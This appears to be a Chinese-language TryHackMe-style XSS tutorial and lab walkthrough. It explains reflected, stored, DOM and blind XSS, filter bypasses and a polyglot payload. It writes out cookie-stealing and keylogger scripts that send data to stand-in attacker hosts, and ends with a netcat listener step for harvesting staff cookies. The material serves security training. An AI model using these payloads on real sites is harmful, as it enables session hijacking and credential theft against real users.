XSS介绍

XSS 是基于 JavaScript 的,因此对该语言有基本的了解会很有帮助。了解XSS需要对客户端-服务器请求和响应有基本的了解

跨站点脚本,在网络安全社区中更广为人知的是 XSS,被归类为注入攻击,其中恶意 JavaScript 被注入到 Web 应用程序中,意图被其他用户执行

我们将要了解不同的 XSS 类型、如何创建 XSS 有效载荷、如何修改您的有效载荷以避开过滤器

XSS Payloads

什么是XSS Payloads?

在 XSS 中,有效负载是我们希望在目标计算机上执行的 JavaScript 代码。有效载荷有两部分,意图和修改。

意图是您希望 JavaScript 实际执行的操作,而修改是我们需要对代码进行更改以使其执行,因为每个场景都不同(更多内容在完善你的有效负载任务)

这里有一些 XSS 意图的例子。

判断XSS注入点:
这是最简单的有效负载,您要做的就是证明您可以在网站上实现 XSS。这通常是通过在页面上弹出一个带有文本字符串的警告框来完成的,例如:
<script>alert('XSS');</script>

会话窃取
用户会话的详细信息(例如登录令牌)通常保存在目标计算机上的 cookie 中。下面的 JavaScript 获取目标的 cookie,base64 编码 cookie 以确保成功传输,然后将其发布到黑客控制的网站以进行记录。一旦黑客拥有这些 cookie,他们就可以接管目标的会话并以该用户的身份登录。
<script>fetch('https://攻击机IP/steal?cookie=' + btoa(document.cookie));</script>

按键记录器:
下面的代码充当键盘记录器。这意味着您在网页上键入的任何内容都将被转发到黑客控制下的网站。如果网站将有效负载安装在接受的用户登录名或信用卡详细信息上,这可能会非常有害。
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>

逻辑:
这个有效载荷比上面的例子要具体得多。这将是关于调用特定的网络资源或 JavaScript 函数。例如,想象一个用于更改用户电子邮件地址的 JavaScript 函数,名为user.changeEmail(). 您的有效负载可能如下所示:
<script>user.changeEmail('attacker@hacker.thm');</script>
现在帐户的电子邮件地址已更改,攻击者可能会执行重置密码攻击。

接下来的我们会说道不同类型的 XSS 漏洞,所有这些都需要略有不同的攻击有效载荷和用户交互。

反弹XSS(Reflected XSS)

当用户在HTTP请求中提供的数据未经任何验证就包含在网页源中时,就会发生反射型 XSS,一般称为反射性XSS

示例场景:
一个网站,如果您输入的内容不正确,则会显示一条错误消息。错误消息的内容取自查询字符串中的错误参数,并直接构建到页面源代码中。

应用程序不检查错误参数的内容,这允许攻击者插入恶意代码。

如上图所示,页面会识别<script></script>标签,使用src属性访问网址https://attacker.thm/evil.js

该漏洞可以按照下图中的场景使用:

潜在漏洞:
攻击者可以向潜在受害者发送链接或将它们嵌入到另一个网站上包含 JavaScript 负载的 iframe 中,让他们在浏览器上执行代码,从而可能泄露会话或客户信息。

如何测试反射 XSS:
您需要测试每个可能的入口点;这些包括:

  • URL 查询字符串中的参数
  • 网址文件路径
  • 有时HTTP标头(尽管在实践中不太可能被利用)

一旦您找到反映在 Web 应用程序中的一些数据,您就需要确认您可以成功运行您的 JavaScript 负载;您的有效负载将取决于您的代码在应用程序中的位置

存储型 XSS(Stored XSS)

顾名思义,XSS 负载存储在 Web 应用程序中(例如,在数据库中),然后在其他用户访问站点或网页时运行。

示例场景:
一个允许用户发表评论的博客网站。不幸的是,这些注释不会被检查是否包含 JavaScript 或过滤掉任何恶意代码。如果我们现在发布包含 JavaScript 的评论,这将存储在数据库中,并且现在访问该文章的每个其他用户都将在他们的浏览器中运行 JavaScript。

潜在影响:
恶意 JavaScript 可能会将用户重定向到另一个站点、窃取用户的会话 cookie,或者在充当访问用户时执行其他网站操作。

如何测试存储型 XSS:
您需要测试似乎存储数据的每个可能的入口点,然后将其显示在其他用户可以访问的区域;其中的一个小例子可能是:

  • 对博客的评论
  • 用户资料信息
  • 网站列表

有时开发人员认为限制客户端的输入值就足以保护,因此将值更改为 Web 应用程序不期望的值是发现存储的 XSS 的一个很好的来源,例如,一个期望整数的年龄字段一个下拉菜单,而是您手动发送请求,而不是使用允许您尝试恶意负载的表单

找到存储在 Web 应用程序中的一些数据后,您需要确认是否可以成功运行 JavaScript 负载;您的有效负载将取决于您的代码在应用程序中的位置

基于 DOM 的 XSS(DOM Based XSS)

什么是 DOM?
DOM 代表文档对象模型,是HTML 和 XML 文档的编程接口。它代表页面,以便程序可以更改文档结构、样式和内容。网页是一个文档,这个文档可以显示在浏览器窗口中,也可以作为 HTML 源。下面显示了 HTML DOM 的图表:

如果您想了解有关 DOM 的更多信息并获得更深入的了解,w3.org提供了很好的资源。

利用 DOM
基于 DOM 的 XSS 是 JavaScript 直接在浏览器中执行的地方,无需加载任何新页面或将数据提交给后端代码。当网站 JavaScript 代码作用于输入或用户交互时执行。

示例场景:
网站的 JavaScript 从window.location.hash 参数中获取内容,然后将其写入当前正在查看的页面中的部分。不会检查hash的内容是否存在恶意代码,从而允许攻击者将他们选择的 JavaScript 注入网页。

潜在影响:
制作的链接可能会发送给潜在的受害者,将他们重定向到另一个网站或从页面或用户会话中窃取内容。

如何测试基于 Dom 的 XSS:
基于 DOM 的 XSS 测试可能具有挑战性,并且需要一定的 JavaScript 知识才能阅读源代码。您需要查找访问攻击者可以控制的某些变量的代码部分,例如“ window.location.x ”参数。

找到这些代码后,您需要查看它们是如何处理的,以及这些值是否曾被写入网页的 DOM 或传递给不安全的 JavaScript 方法,例如 eval( )

盲XSS(Blind XSS)

盲 XSS 类似于存储型 XSS,因为您的有效载荷存储在网站上供其他用户查看,但在这种情况下,您看不到有效载荷工作或无法测试它首先反对自己。

示例场景:
一个网站有一个联系表单,您可以在其中向员工发送消息。不会检查邮件内容是否有任何恶意代码,这使攻击者可以输入他们想要的任何内容。然后,这些消息会变成支持工单,员工可以在私人门户网站上查看这些工单。

潜在影响:
使用正确的有效载荷,攻击者的 JavaScript 可以回调攻击者的网站,显示员工门户 URL、员工的 cookie,甚至是正在查看的门户页面的内容。现在,攻击者可能会劫持员工的会话并访问私有门户

如何测试盲 XSS:
在测试 Blind XSS 漏洞时,您需要确保您的 payload 有回调(通常是HTTP请求)。这样,您就知道您的代码是否以及何时被执行。

一种流行的盲 XSS 攻击工具是,使用XSS平台进行接受url返回内容。虽然可以用 JavaScript 制作您自己的工具,但此这种工具会自动捕获 cookie、URL、页面内容等

练习XSS payload

有效载荷是我们要在其他用户的浏览器上执行的 JavaScript 代码,或者作为概念证明来演示网站中的漏洞

您的有效负载可能有多种用途,从只是调出一个 JavaScript 警告框以证明我们可以在目标网站上执行 JavaScript,到从网页或用户会话中提取信息。

您的 JavaScript 负载如何反映在目标网站的代码中将决定您需要使用的负载。

每个级别的目标是使用字符串 THM 执行 JavaScript 警报功能,例如:
<script>alert('THM');</script>

级别一:

您会看到一个表格,要求您输入您的姓名,一旦您输入了您的姓名,它将显示在下面的一行中,例如:

如果您查看页面源代码,您会看到您的名字反映在代码中:

我们不输入您的姓名,而是尝试输入以下 JavaScript 负载:<script>alert('THM');</script>

现在,当您单击输入按钮时,您将看到一个带有字符串THM的警告弹出窗口,页面源代码如下所示:

级别二:

与上一关一样,系统会再次要求您输入姓名。这次当点击回车时,你的名字被反映在一个输入标签中:

查看页面源代码,您可以看到您的名字反映在 input 标签的 value 属性中:

如果您要尝试之前的 JavaScript 有效负载,它将无法工作,因为您无法从输入标签内部运行它。相反,我们需要先对输入标签进行转义,这样负载才能正常运行。您可以使用以下有效负载执行此操作:"><script>alert('THM');</script>

有效负载的重要部分是">关闭值参数,然后关闭输入标签。

这现在会正确关闭输入标签并允许运行 JavaScript 负载:

级别三:

您会看到另一个询问您姓名的表单,与上一级别相同,您的姓名会反映在 HTML 标签中,这次是 textarea 标签。

我们必须使用以下有效负载对 textarea 标签进行转义,使其与输入标签(在第二级中)略有不同:</textarea><script>alert('THM');</script>

上述有效载荷的重要部分是</textarea>,它会导致文本区域元素关闭,以便脚本运行。

级别四:

在表单中输入您的姓名,您会在页面上看到它。这一关看起来与第一关相似,但在检查页面源代码后,您会看到您的名字反映在一些 JavaScript 代码中。

这是我想到的方法和级别三一样,使用</script>标签闭合的方法,payload为:'</script><script>alert('THM')</script>

这里看tryhackme的官方方法

您必须转义现有的 JavaScript 命令,以便能够运行您的代码;您可以使用以下有效负载执行此操作';alert('THM');// ,您将从下面的屏幕截图中看到它将执行您的代码。关闭'指定名称的字段,然后;表示当前命令的结束,最后//使它后面的任何内容成为注释而不是可执行代码。

级别五:

现在,这一层看起来和第一层一样,你的名字也反映在同一个地方。但是如果你尝试<script>alert('THM');</script>payload,它就不会工作。当您查看页面源代码时,您会明白原因。

该词script 将从您的有效负载中删除,那是因为有一个过滤器可以去除任何潜在的危险词。

当从字符串中删除一个单词时,您可以尝试一个有用的技巧。

  • 原始有效载荷:<sscriptcript>alert('THM');</sscriptcript>
  • 要删除的文本(通过过滤器):<sscriptcript>alert('THM');</sscriptcript>
  • 最终有效载荷(通过过滤器后):<script>alert('THM');</script>

级别六:

与级别 2 类似,我们必须从输入标签的 value 属性中转义,我们可以尝试"><script>alert('THM');</script>,但这似乎不起作用。让我们检查页面源代码,看看为什么它不起作用。

您可以看到<>字符从我们的有效负载中被过滤掉,从而阻止我们转义 IMG 标签。为了绕过过滤器,我们可以利用 IMG 标签的附加属性,例如 onload 事件。一旦 src 属性中指定的图像加载到网页上,onload 事件就会执行您选择的代码。

让我们更改我们的负载以反映这一点/images/cat.jpg" onload="alert('THM');,然后查看页面源代码,您将看到它是如何工作的。

多种语言:通用绕过测试脚本

XSS polyglot 是一串文本,可以将属性、标签和绕过过滤器合而为一。您可以在刚刚完成的所有六个级别上使用以下多语言,并且它会成功执行代码

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e

实际例子(盲XSS)

解析

对于最后一个任务,我们将检查一个 Blind XSS 漏洞

单击 顶部导航栏上的“客户(Customers)”选项卡,然后单击“在此处注册(Signup here)”链接创建一个帐户。一旦您的帐户设置完毕,请单击**“支持票(Support Tickets )” **选项卡,这是我们将调查弱点的功能

尝试通过单击绿色的“创建工单(Create Ticket)按钮来创建支持工单,输入主题和内容,仅输入“测试(test)”一词,然后单击蓝色的“创建工单(Create Ticket)”按钮。您现在会在列表中注意到您的新工单带有一个 ID 号,您可以单击它以转到新创建的工单。

与任务三一样,我们将研究先前输入的文本如何反映在页面上。查看页面源代码后,我们可以看到文本被放置在 textarea 标签内。

现在让我们返回并创建另一张工单。让我们看看是否可以通过在票证内容中输入以下有效负载来转义 textarea 标签:

</textarea>test

同样,打开票证并查看页面源代码,我们已经成功地转义了 textarea 标签。

现在让我们扩展此有效负载,看看我们是否可以运行 JavaScript 并确认票证创建功能容易受到 XSS 攻击。使用以下有效负载尝试另一张新票:

</textarea><script>alert('THM');</script>

现在,当您查看工单时,您应该会看到一个带有字符串 THM 的警告框。我们现在将进一步扩展有效载荷并增加漏洞影响。由于此功能正在创建支持票证,我们可以有理由相信,工作人员也会查看我们可以用来执行 JavaScript 的票证。

从其他用户那里提取的一些有用信息是他们的 cookie,我们可以使用它来通过劫持他们的登录会话来提升我们的特权。为此,我们的有效载荷需要提取用户的 cookie 并将其泄露到我们选择的另一个网络服务器。首先,我们需要设置一个监听服务器来接收信息。

我们使用 Netcat 设置一个监听服务器:

nc -lvp 8888

现在我们已经设置了接收泄露信息的方法,让我们构建有效载荷。

</textarea><script>fetch('http://{URL_OR_IP}?cookie=' + btoa(document.cookie) );</script>

有效载荷分析:
</textarea>标签关闭文本区域字段。

<script>标签打开了一个区域供我们编写 JavaScript。

fetch() 命令发出HTTP请求。

{URL_OR_IP} 是 返回主机,使用nc或者网络监听的机器

?cookie= 是将包含受害者 cookie 的查询字符串。

btoa() 命令 base64 对受害者的 cookie 进行编码。

document.cookie 为 Acme IT 支持网站访问受害者的 cookie。

</script>关闭 JavaScript 代码块。

现在使用上面的有效负载创建另一个票证,确保将 变量换成您的设置(确保为 Netcat 侦听器指定端口号)。现在,等待一分钟,您将看到包含受害者 cookie 的请求。

步骤:

1.监听

2.创建工单

创建完成返回创建工单

3.返回监听主机获取cookie

您现在可以使用https://www.base64decode.org/等网站对这些信息进行 base64 解码,或者其他方法

base64 -d